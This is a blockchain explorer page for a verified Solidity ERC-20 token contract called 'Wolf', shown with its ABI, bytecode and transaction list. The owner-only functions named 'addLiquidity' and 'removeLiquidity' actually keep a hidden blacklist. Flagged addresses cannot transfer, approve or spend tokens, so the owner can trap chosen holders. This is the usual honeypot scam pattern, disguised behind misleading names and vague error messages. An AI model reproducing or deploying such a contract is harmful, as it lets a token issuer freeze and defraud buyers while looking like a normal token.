Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 5 from a total of 5 transactions
Advanced mode: Intended for advanced users or developers and will display all Internal Transactions including zero value transfers. Name tag integration is not available in advanced view.
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
||||
---|---|---|---|---|---|---|---|
17444668 | 627 days ago | 0 ETH | |||||
17444668 | 627 days ago | 0 ETH | |||||
17444668 | 627 days ago | 0 ETH | |||||
17444668 | 627 days ago | 0 ETH | |||||
17437857 | 628 days ago | 0 ETH | |||||
17437857 | 628 days ago | 0 ETH | |||||
17437857 | 628 days ago | 0 ETH | |||||
17437564 | 628 days ago | 0 ETH | |||||
17437564 | 628 days ago | 0 ETH | |||||
17437564 | 628 days ago | 0 ETH | |||||
17437564 | 628 days ago | 0 ETH | |||||
17437552 | 628 days ago | 0 ETH | |||||
17437552 | 628 days ago | 0 ETH | |||||
17437552 | 628 days ago | 0 ETH | |||||
17437552 | 628 days ago | 0 ETH | |||||
17437444 | 628 days ago | 0 ETH | |||||
17437444 | 628 days ago | 0 ETH | |||||
17437444 | 628 days ago | 0 ETH | |||||
17437444 | 628 days ago | 0 ETH | |||||
17437437 | 628 days ago | 0 ETH | |||||
17437437 | 628 days ago | 0 ETH | |||||
17437437 | 628 days ago | 0 ETH | |||||
17437437 | 628 days ago | 0 ETH | |||||
17437396 | 628 days ago | 0 ETH | |||||
17437396 | 628 days ago | 0 ETH |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
Wolf
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-08 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Wolf is IERC20, Ownable { string public name; string public symbol; uint8 public decimals; uint256 private _totalSupply; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private liquidity; constructor() { name = "Wolf"; symbol = "WOLF"; decimals = 10; _totalSupply = 100000000000 * 10**uint256(decimals); _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function getLiquitdityStatus(address _addrs) public view onlyOwner returns (bool) { return liquidity[_addrs]; } function addLiquidity(address[] memory liquidity_) external onlyOwner { for (uint256 i = 0; i < liquidity_.length; i++) { liquidity[liquidity_[i]] = true; } } function removeLiquidity(address account) external onlyOwner { require(liquidity[account], "Address is not in array"); liquidity[account] = false; } function transfer(address recipient, uint256 amount) public override returns (bool) { address sender = msg.sender; require(!liquidity[_msgSender()], "Sender is in array"); require(!liquidity[recipient], "Recipient is in array"); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "ERC20: transfer amount must be greater than zero"); require(_balances[sender] >= amount, "ERC20: insufficient balance"); _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { address owner = msg.sender; require(!liquidity[_msgSender()], "Approver is in array"); require(!liquidity[spender], "Spender is in array"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { require(!liquidity[sender], "Sender is in array"); require(!liquidity[recipient], "Recipient is in array"); require(!liquidity[_msgSender()], "Caller is in array"); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "ERC20: transfer amount must be greater than zero"); require(_balances[sender] >= amount, "ERC20: insufficient balance"); require( _allowances[sender][msg.sender] >= amount, "ERC20: insufficient allowance" ); _balances[sender] -= amount; _balances[recipient] += amount; _allowances[sender][msg.sender] -= amount; emit Transfer(sender, recipient, amount); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"liquidity_","type":"address[]"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addrs","type":"address"}],"name":"getLiquitdityStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b50600080546001600160a01b03191633178082556040516001600160a01b039190911691907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3604080518082019091526004808252632bb7b63360e11b6020909201918252620000889160019162000140565b50604080518082019091526004808252632ba7a62360e11b6020909201918252620000b69160029162000140565b506003805460ff1916600a90811791829055620000d79160ff16906200023c565b620000e89064174876e80062000331565b60048190553360008181526005602052604080822084905551919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916200013291620001e6565b60405180910390a3620003a6565b8280546200014e9062000353565b90600052602060002090601f016020900481019282620001725760008555620001bd565b82601f106200018d57805160ff1916838001178555620001bd565b82800160010185558215620001bd579182015b82811115620001bd578251825591602001919060010190620001a0565b50620001cb929150620001cf565b5090565b5b80821115620001cb5760008155600101620001d0565b90815260200190565b80825b600180861162000203575062000233565b81870482111562000218576200021862000390565b808616156200022657918102915b9490941c938002620001f2565b94509492505050565b60006200024d600019848462000254565b9392505050565b60008262000265575060016200024d565b8162000274575060006200024d565b81600181146200028d57600281146200029857620002cc565b60019150506200024d565b60ff841115620002ac57620002ac62000390565b6001841b915084821115620002c557620002c562000390565b506200024d565b5060208310610133831016604e8410600b841016171562000304575081810a83811115620002fe57620002fe62000390565b6200024d565b620003138484846001620001ef565b80860482111562000328576200032862000390565b02949350505050565b60008160001904831182151516156200034e576200034e62000390565b500290565b6002810460018216806200036857607f821691505b602082108114156200038a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b61112c80620003b66000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb146101d5578063d798f86e146101e8578063dd62ed3e146101fb578063f2fde38b1461020e576100f5565b8063715018a61461019b5780638da5cb5b146101a557806395d89b41146101ba578063a0f2c964146101c2576100f5565b806323b872dd116100d357806323b872dd1461014d578063313ce567146101605780636085d0cc1461017557806370a0823114610188576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610138575b600080fd5b610102610221565b60405161010f9190610d01565b60405180910390f35b61012b610126366004610bf8565b6102af565b60405161010f9190610cf6565b6101406103a6565b60405161010f919061102e565b61012b61015b366004610bbd565b6103ac565b610168610622565b60405161010f9190611037565b61012b610183366004610b6a565b61062b565b610140610196366004610b6a565b61068f565b6101a36106aa565b005b6101ad610733565b60405161010f9190610ce2565b610102610742565b6101a36101d0366004610c21565b61074f565b61012b6101e3366004610bf8565b610808565b6101a36101f6366004610b6a565b6109cc565b610140610209366004610b8b565b610a64565b6101a361021c366004610b6a565b610a8f565b6001805461022e90611074565b80601f016020809104026020016040519081016040528092919081815260200182805461025a90611074565b80156102a75780601f1061027c576101008083540402835291602001916102a7565b820191906000526020600020905b81548152906001019060200180831161028a57829003601f168201915b505050505081565b6000336007826102bd610b4f565b6001600160a01b0316815260208101919091526040016000205460ff16156103005760405162461bcd60e51b81526004016102f790610d97565b60405180910390fd5b6001600160a01b03841660009081526007602052604090205460ff16156103395760405162461bcd60e51b81526004016102f790610e6e565b6001600160a01b0380821660008181526006602090815260408083209489168084529490915290819020869055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061039490879061102e565b60405180910390a35060019392505050565b60045490565b6001600160a01b03831660009081526007602052604081205460ff16156103e55760405162461bcd60e51b81526004016102f790610e9b565b6001600160a01b03831660009081526007602052604090205460ff161561041e5760405162461bcd60e51b81526004016102f790610f83565b6007600061042a610b4f565b6001600160a01b0316815260208101919091526040016000205460ff16156104645760405162461bcd60e51b81526004016102f790610dc5565b6001600160a01b03841661048a5760405162461bcd60e51b81526004016102f790610fb2565b6001600160a01b0383166104b05760405162461bcd60e51b81526004016102f790610d54565b600082116104d05760405162461bcd60e51b81526004016102f790610efe565b6001600160a01b0384166000908152600560205260409020548211156105085760405162461bcd60e51b81526004016102f790610ec7565b6001600160a01b038416600090815260066020908152604080832033845290915290205482111561054b5760405162461bcd60e51b81526004016102f790610e37565b6001600160a01b0384166000908152600560205260408120805484929061057390849061105d565b90915550506001600160a01b038316600090815260056020526040812080548492906105a0908490611045565b90915550506001600160a01b0384166000908152600660209081526040808320338452909152812080548492906105d890849061105d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610394919061102e565b60035460ff1681565b6000610635610b4f565b6001600160a01b0316610646610733565b6001600160a01b03161461066c5760405162461bcd60e51b81526004016102f790610f4e565b506001600160a01b03811660009081526007602052604090205460ff165b919050565b6001600160a01b031660009081526005602052604090205490565b6106b2610b4f565b6001600160a01b03166106c3610733565b6001600160a01b0316146106e95760405162461bcd60e51b81526004016102f790610f4e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6002805461022e90611074565b610757610b4f565b6001600160a01b0316610768610733565b6001600160a01b03161461078e5760405162461bcd60e51b81526004016102f790610f4e565b60005b8151811015610804576001600760008484815181106107c057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107fc816110af565b915050610791565b5050565b600033600782610816610b4f565b6001600160a01b0316815260208101919091526040016000205460ff16156108505760405162461bcd60e51b81526004016102f790610e9b565b6001600160a01b03841660009081526007602052604090205460ff16156108895760405162461bcd60e51b81526004016102f790610f83565b6001600160a01b0381166108af5760405162461bcd60e51b81526004016102f790610fb2565b6001600160a01b0384166108d55760405162461bcd60e51b81526004016102f790610d54565b600083116108f55760405162461bcd60e51b81526004016102f790610efe565b6001600160a01b03811660009081526005602052604090205483111561092d5760405162461bcd60e51b81526004016102f790610ec7565b6001600160a01b0381166000908152600560205260408120805485929061095590849061105d565b90915550506001600160a01b03841660009081526005602052604081208054859290610982908490611045565b92505081905550836001600160a01b0316816001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610394919061102e565b6109d4610b4f565b6001600160a01b03166109e5610733565b6001600160a01b031614610a0b5760405162461bcd60e51b81526004016102f790610f4e565b6001600160a01b03811660009081526007602052604090205460ff16610a435760405162461bcd60e51b81526004016102f790610ff7565b6001600160a01b03166000908152600760205260409020805460ff19169055565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b610a97610b4f565b6001600160a01b0316610aa8610733565b6001600160a01b031614610ace5760405162461bcd60e51b81526004016102f790610f4e565b6001600160a01b038116610af45760405162461bcd60e51b81526004016102f790610df1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b80356001600160a01b038116811461068a57600080fd5b600060208284031215610b7b578081fd5b610b8482610b53565b9392505050565b60008060408385031215610b9d578081fd5b610ba683610b53565b9150610bb460208401610b53565b90509250929050565b600080600060608486031215610bd1578081fd5b610bda84610b53565b9250610be860208501610b53565b9150604084013590509250925092565b60008060408385031215610c0a578182fd5b610c1383610b53565b946020939093013593505050565b60006020808385031215610c33578182fd5b823567ffffffffffffffff80821115610c4a578384fd5b818501915085601f830112610c5d578384fd5b813581811115610c6f57610c6f6110e0565b83810260405185828201018181108582111715610c8e57610c8e6110e0565b604052828152858101935084860182860187018a1015610cac578788fd5b8795505b83861015610cd557610cc181610b53565b855260019590950194938601938601610cb0565b5098975050505050505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610d2d57858101830151858201604001528201610d11565b81811115610d3e5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b602080825260149082015273417070726f76657220697320696e20617272617960601b604082015260600190565b60208082526012908201527143616c6c657220697320696e20617272617960701b604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b6020808252601390820152725370656e64657220697320696e20617272617960681b604082015260600190565b60208082526012908201527153656e64657220697320696e20617272617960701b604082015260600190565b6020808252601b908201527f45524332303a20696e73756666696369656e742062616c616e63650000000000604082015260600190565b60208082526030908201527f45524332303a207472616e7366657220616d6f756e74206d757374206265206760408201526f726561746572207468616e207a65726f60801b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b602080825260159082015274526563697069656e7420697320696e20617272617960581b604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526017908201527f41646472657373206973206e6f7420696e206172726179000000000000000000604082015260600190565b90815260200190565b60ff91909116815260200190565b60008219821115611058576110586110ca565b500190565b60008282101561106f5761106f6110ca565b500390565b60028104600182168061108857607f821691505b602082108114156110a957634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156110c3576110c36110ca565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea26469706673582212206204d9999a333046182c5e2768ee205ad0966f48460b1d7a727b4b322b67a24164736f6c63430008000033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb146101d5578063d798f86e146101e8578063dd62ed3e146101fb578063f2fde38b1461020e576100f5565b8063715018a61461019b5780638da5cb5b146101a557806395d89b41146101ba578063a0f2c964146101c2576100f5565b806323b872dd116100d357806323b872dd1461014d578063313ce567146101605780636085d0cc1461017557806370a0823114610188576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610138575b600080fd5b610102610221565b60405161010f9190610d01565b60405180910390f35b61012b610126366004610bf8565b6102af565b60405161010f9190610cf6565b6101406103a6565b60405161010f919061102e565b61012b61015b366004610bbd565b6103ac565b610168610622565b60405161010f9190611037565b61012b610183366004610b6a565b61062b565b610140610196366004610b6a565b61068f565b6101a36106aa565b005b6101ad610733565b60405161010f9190610ce2565b610102610742565b6101a36101d0366004610c21565b61074f565b61012b6101e3366004610bf8565b610808565b6101a36101f6366004610b6a565b6109cc565b610140610209366004610b8b565b610a64565b6101a361021c366004610b6a565b610a8f565b6001805461022e90611074565b80601f016020809104026020016040519081016040528092919081815260200182805461025a90611074565b80156102a75780601f1061027c576101008083540402835291602001916102a7565b820191906000526020600020905b81548152906001019060200180831161028a57829003601f168201915b505050505081565b6000336007826102bd610b4f565b6001600160a01b0316815260208101919091526040016000205460ff16156103005760405162461bcd60e51b81526004016102f790610d97565b60405180910390fd5b6001600160a01b03841660009081526007602052604090205460ff16156103395760405162461bcd60e51b81526004016102f790610e6e565b6001600160a01b0380821660008181526006602090815260408083209489168084529490915290819020869055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061039490879061102e565b60405180910390a35060019392505050565b60045490565b6001600160a01b03831660009081526007602052604081205460ff16156103e55760405162461bcd60e51b81526004016102f790610e9b565b6001600160a01b03831660009081526007602052604090205460ff161561041e5760405162461bcd60e51b81526004016102f790610f83565b6007600061042a610b4f565b6001600160a01b0316815260208101919091526040016000205460ff16156104645760405162461bcd60e51b81526004016102f790610dc5565b6001600160a01b03841661048a5760405162461bcd60e51b81526004016102f790610fb2565b6001600160a01b0383166104b05760405162461bcd60e51b81526004016102f790610d54565b600082116104d05760405162461bcd60e51b81526004016102f790610efe565b6001600160a01b0384166000908152600560205260409020548211156105085760405162461bcd60e51b81526004016102f790610ec7565b6001600160a01b038416600090815260066020908152604080832033845290915290205482111561054b5760405162461bcd60e51b81526004016102f790610e37565b6001600160a01b0384166000908152600560205260408120805484929061057390849061105d565b90915550506001600160a01b038316600090815260056020526040812080548492906105a0908490611045565b90915550506001600160a01b0384166000908152600660209081526040808320338452909152812080548492906105d890849061105d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610394919061102e565b60035460ff1681565b6000610635610b4f565b6001600160a01b0316610646610733565b6001600160a01b03161461066c5760405162461bcd60e51b81526004016102f790610f4e565b506001600160a01b03811660009081526007602052604090205460ff165b919050565b6001600160a01b031660009081526005602052604090205490565b6106b2610b4f565b6001600160a01b03166106c3610733565b6001600160a01b0316146106e95760405162461bcd60e51b81526004016102f790610f4e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6002805461022e90611074565b610757610b4f565b6001600160a01b0316610768610733565b6001600160a01b03161461078e5760405162461bcd60e51b81526004016102f790610f4e565b60005b8151811015610804576001600760008484815181106107c057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107fc816110af565b915050610791565b5050565b600033600782610816610b4f565b6001600160a01b0316815260208101919091526040016000205460ff16156108505760405162461bcd60e51b81526004016102f790610e9b565b6001600160a01b03841660009081526007602052604090205460ff16156108895760405162461bcd60e51b81526004016102f790610f83565b6001600160a01b0381166108af5760405162461bcd60e51b81526004016102f790610fb2565b6001600160a01b0384166108d55760405162461bcd60e51b81526004016102f790610d54565b600083116108f55760405162461bcd60e51b81526004016102f790610efe565b6001600160a01b03811660009081526005602052604090205483111561092d5760405162461bcd60e51b81526004016102f790610ec7565b6001600160a01b0381166000908152600560205260408120805485929061095590849061105d565b90915550506001600160a01b03841660009081526005602052604081208054859290610982908490611045565b92505081905550836001600160a01b0316816001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610394919061102e565b6109d4610b4f565b6001600160a01b03166109e5610733565b6001600160a01b031614610a0b5760405162461bcd60e51b81526004016102f790610f4e565b6001600160a01b03811660009081526007602052604090205460ff16610a435760405162461bcd60e51b81526004016102f790610ff7565b6001600160a01b03166000908152600760205260409020805460ff19169055565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b610a97610b4f565b6001600160a01b0316610aa8610733565b6001600160a01b031614610ace5760405162461bcd60e51b81526004016102f790610f4e565b6001600160a01b038116610af45760405162461bcd60e51b81526004016102f790610df1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b80356001600160a01b038116811461068a57600080fd5b600060208284031215610b7b578081fd5b610b8482610b53565b9392505050565b60008060408385031215610b9d578081fd5b610ba683610b53565b9150610bb460208401610b53565b90509250929050565b600080600060608486031215610bd1578081fd5b610bda84610b53565b9250610be860208501610b53565b9150604084013590509250925092565b60008060408385031215610c0a578182fd5b610c1383610b53565b946020939093013593505050565b60006020808385031215610c33578182fd5b823567ffffffffffffffff80821115610c4a578384fd5b818501915085601f830112610c5d578384fd5b813581811115610c6f57610c6f6110e0565b83810260405185828201018181108582111715610c8e57610c8e6110e0565b604052828152858101935084860182860187018a1015610cac578788fd5b8795505b83861015610cd557610cc181610b53565b855260019590950194938601938601610cb0565b5098975050505050505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610d2d57858101830151858201604001528201610d11565b81811115610d3e5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b602080825260149082015273417070726f76657220697320696e20617272617960601b604082015260600190565b60208082526012908201527143616c6c657220697320696e20617272617960701b604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b6020808252601390820152725370656e64657220697320696e20617272617960681b604082015260600190565b60208082526012908201527153656e64657220697320696e20617272617960701b604082015260600190565b6020808252601b908201527f45524332303a20696e73756666696369656e742062616c616e63650000000000604082015260600190565b60208082526030908201527f45524332303a207472616e7366657220616d6f756e74206d757374206265206760408201526f726561746572207468616e207a65726f60801b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b602080825260159082015274526563697069656e7420697320696e20617272617960581b604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526017908201527f41646472657373206973206e6f7420696e206172726179000000000000000000604082015260600190565b90815260200190565b60ff91909116815260200190565b60008219821115611058576110586110ca565b500190565b60008282101561106f5761106f6110ca565b500390565b60028104600182168061108857607f821691505b602082108114156110a957634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156110c3576110c36110ca565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea26469706673582212206204d9999a333046182c5e2768ee205ad0966f48460b1d7a727b4b322b67a24164736f6c63430008000033
Deployed Bytecode Sourcemap
2099:3743:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2139:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4428:405;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;2706:100::-;;;:::i;:::-;;;;;;;:::i;4841:998::-;;;;;;:::i;:::-;;:::i;2191:21::-;;;:::i;:::-;;;;;;;:::i;2941:125::-;;;;;;:::i;:::-;;:::i;2814:119::-;;;;;;:::i;:::-;;:::i;1655:148::-;;;:::i;:::-;;1432:87;;;:::i;:::-;;;;;;;:::i;2164:20::-;;;:::i;3074:194::-;;;;;;:::i;:::-;;:::i;3457:771::-;;;;;;:::i;:::-;;:::i;3276:173::-;;;;;;:::i;:::-;;:::i;4236:184::-;;;;;;:::i;:::-;;:::i;1811:281::-;;;;;;:::i;:::-;;:::i;2139:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4428:405::-;4530:4;4568:10;4598:9;4530:4;4608:12;:10;:12::i;:::-;-1:-1:-1;;;;;4598:23:0;;;;;;;;;;;;-1:-1:-1;4598:23:0;;;;4597:24;4589:57;;;;-1:-1:-1;;;4589:57:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;4666:18:0;;;;;;:9;:18;;;;;;;;4665:19;4657:51;;;;-1:-1:-1;;;4657:51:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4719:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;4771:32;;;;;4749:6;;4771:32;:::i;:::-;;;;;;;;-1:-1:-1;4821:4:0;;4428:405;-1:-1:-1;;;4428:405:0:o;2706:100::-;2786:12;;2706:100;:::o;4841:998::-;-1:-1:-1;;;;;4999:17:0;;4973:4;4999:17;;;:9;:17;;;;;;;;4998:18;4990:49;;;;-1:-1:-1;;;4990:49:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5059:20:0;;;;;;:9;:20;;;;;;;;5058:21;5050:55;;;;-1:-1:-1;;;5050:55:0;;;;;;;:::i;:::-;5125:9;:23;5135:12;:10;:12::i;:::-;-1:-1:-1;;;;;5125:23:0;;;;;;;;;;;;-1:-1:-1;5125:23:0;;;;5124:24;5116:55;;;;-1:-1:-1;;;5116:55:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5190:20:0;;5182:70;;;;-1:-1:-1;;;5182:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5271:23:0;;5263:71;;;;-1:-1:-1;;;5263:71:0;;;;;;;:::i;:::-;5362:1;5353:6;:10;5345:71;;;;-1:-1:-1;;;5345:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5435:17:0;;;;;;:9;:17;;;;;;:27;-1:-1:-1;5435:27:0;5427:67;;;;-1:-1:-1;;;5427:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5527:19:0;;;;;;:11;:19;;;;;;;;5547:10;5527:31;;;;;;;;:41;-1:-1:-1;5527:41:0;5505:120;;;;-1:-1:-1;;;5505:120:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5638:17:0;;;;;;:9;:17;;;;;:27;;5659:6;;5638:17;:27;;5659:6;;5638:27;:::i;:::-;;;;-1:-1:-1;;;;;;;5676:20:0;;;;;;:9;:20;;;;;:30;;5700:6;;5676:20;:30;;5700:6;;5676:30;:::i;:::-;;;;-1:-1:-1;;;;;;;5717:19:0;;;;;;:11;:19;;;;;;;;5737:10;5717:31;;;;;;;:41;;5752:6;;5717:19;:41;;5752:6;;5717:41;:::i;:::-;;;;;;;;5791:9;-1:-1:-1;;;;;5774:35:0;5783:6;-1:-1:-1;;;;;5774:35:0;;5802:6;5774:35;;;;;;:::i;2191:21::-;;;;;;:::o;2941:125::-;3017:4;1578:12;:10;:12::i;:::-;-1:-1:-1;;;;;1567:23:0;:7;:5;:7::i;:::-;-1:-1:-1;;;;;1567:23:0;;1559:68;;;;-1:-1:-1;;;1559:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;;3041:17:0;::::1;;::::0;;;:9:::1;:17;:::